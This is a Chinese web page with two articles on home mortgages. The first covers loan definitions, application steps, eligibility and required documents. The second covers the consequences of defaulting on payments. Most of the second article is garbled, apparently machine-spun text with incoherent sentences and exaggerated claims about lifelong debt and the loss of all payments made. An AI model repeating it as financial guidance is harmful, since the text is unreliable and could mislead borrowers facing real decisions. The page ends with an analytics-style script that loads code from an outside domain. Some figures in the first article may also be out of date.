房子按揭贷款是什么 要怎么办理

买房是每一个人都会做出的选择，迈出的一步。但是，如果要按日常的工资或者存款一次性拿出那么多钱来买房，对于很多人来说是很难办到的。因此大部分要买房的人往往是刚开始打拼的年轻人，因此大家在买房的时候可能就会接触到按揭贷款这个东西了。那么按揭贷款和其他贷款比起来有什么特殊优势吗?它的条件和需要证件是那些呢?今天小编就给大家详细的介绍一下，希望对大家有所帮助。按揭贷款含义个人住房商业性贷款：商业银行个人住房担保贷款，也就是银行按揭贷款。只要您在贷款银行存款余额占购买住房所需资金额的比例不低于30%，并以此作为购房首期付款，且有贷款银行认可的资产作为抵押或质押，或有足够代偿能力的单位或个人作为偿还贷款本息并承担连带责任的保证人，那么就可申请使用银行按揭贷款。申请银行个人住房贷款工作流程：(一)买方要与开发商签订《商品房预售契约》。(二)支付30%以上的房款。(三)去房管部门进行预售登记。(四)办完预售登记后，买方持契约正本，填写借款申请及借款合同.用“按揭”贷款购房。对于无法享用公积金低息贷款的家庭，可争取享用“按揭”贷款。但按揭贷款仅对某些房产项目提供支持，故选得当，才能享受按揭贷款，但它与公积金贷款相比，利率较高。按揭贷款的对象和条件，与公积金贷款基本相同。可贷额度主要根据偿还能力而定，每月经济收入应高于每月贷款偿还额的2倍。贷款限额不得超过房价的70%，贷款最长偿还期限20年。申请人应具备的条件各银行一般都要求“个人购置住房贷款”对象应是具有完全民事行为能力的自然人，同时具备以下条件：1.具有城镇常住户口或有效居留身份;2.有稳定的职业和收入，信用良好，有按期还贷款本息的能力;3.不享受购房补贴的，不低于购买住房全部价款的20%作为购房的首期付款;享受购房补贴的，以个人承担部分的20%作为购房首期付款;4.有银行认可的资产作为抵押或质押，或有足够代偿能力的单位或个人作为偿还贷款本息、并承担连带责任的保证人;5.具有购房合同或协议，所购住房价格基本符合银行或银行委托的房地产估价机构的评估价值。申请所需材料在申请借款时，申请人应出具多种文件，主要包括：1.身份证件(居民身份证、户口簿或其它有效居留证件);2.贷款人认可部门出具的借款经济收入或偿债能力证明;3.符合规定的购买住房合同意向书、协议或其它批准文件;4.抵押物或质押物的清单、权属证明以及有处分权人同意抵押、质押证明和抵押物估价证明;5.保证人同意提供担保的书面文件和保证人资信证明;6.以储蓄存款作为自筹资金的，需提供银行存款凭证;7.以公积金作为自筹资金的,需提供住房公积金管理部门批准动用公积金存款的证明。以上就是小编今天要给大家介绍的关于按揭贷款的全部内容，相信大家看完之后已经知道按揭贷款的内容了。小编这里要提醒大家，处理这些手续，最需要注意的就是注意程序的正确步骤以及准备好材料了。如果材料准备不齐全的话就很容易导致你的申请被驳回并且要多次反复提交，因此大家一定要一开始就注意好正确步骤，从而让自己省去更多麻烦并尽早完成手续。

房贷断供的后果都有哪些,您竟然不知道

如今，大多数人选择以贷款的形式买房，但对于那些借钱买房的人来说，“房贷断供的后果”是一个客观存在的风险。因为没有人知道什么时候会出现资金短缺，如果出现这种情况，那么就要了解一下房贷断供的后果。如果借款人申请了抵押贷款，那么法律就没有逻辑可言了。房贷断供的后果。二是继续承担违约责任。其后果是承担相应的法律和经济责任。贷款买房者“违约”，属于主动违约，违反了贷款合同中的约定条款，即将承担相应的违约责任。银行将冻结财产并要求违约金。除此之外，还需要偿还抵押贷款。抵押贷款和违约金加起来就是拖欠债务的人将终生背负的债务。除此之外，“拖欠”也会面临长期的信用问题，在个人信用上是一个严重的污点，在未来的消费和再贷款都会受到各种制约。房贷断供的后果。经济危机带来的沉重打击，将会使我们的收入减少，收入低了，又减少了，将会使我们的消费更少，肯定会使住房人有更大的还款压力。如果还不起贷款,银行将处理房子,银行也增加了负担,从而导致银行债务,如低投资房价下跌的直接结果一步一步吞噬手中大量的资产所有者,不包括房租的情况下,中断到许多投机者选择;对于房主来说，房价下跌对他们的影响很小。毕竟，它会引起问题，玷污个人信用。房贷断供的后果。当一个业主违约时，会伤害银行。银行不良贷款率的上升意味着应收款利息无法实现，贷款本金也会损失，从而影响利润。如果降息幅度过大，将影响资本充足率，甚至可能让银行面临再融资。如果你无法偿还贷款，银行会给你一个宽限期，如果你在宽限期之后无法偿还贷款。银行会认为你已经彻底永久地破产了。房贷断供的后果。不管你付了多少钱，不管你还清了多少贷款，最终银行会在法庭上起诉你，没收你的财产，用出售所得偿还债务。你的房子被银行收完债后，房子被拍卖了，你以前支付的所有房子费用都能打水漂。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();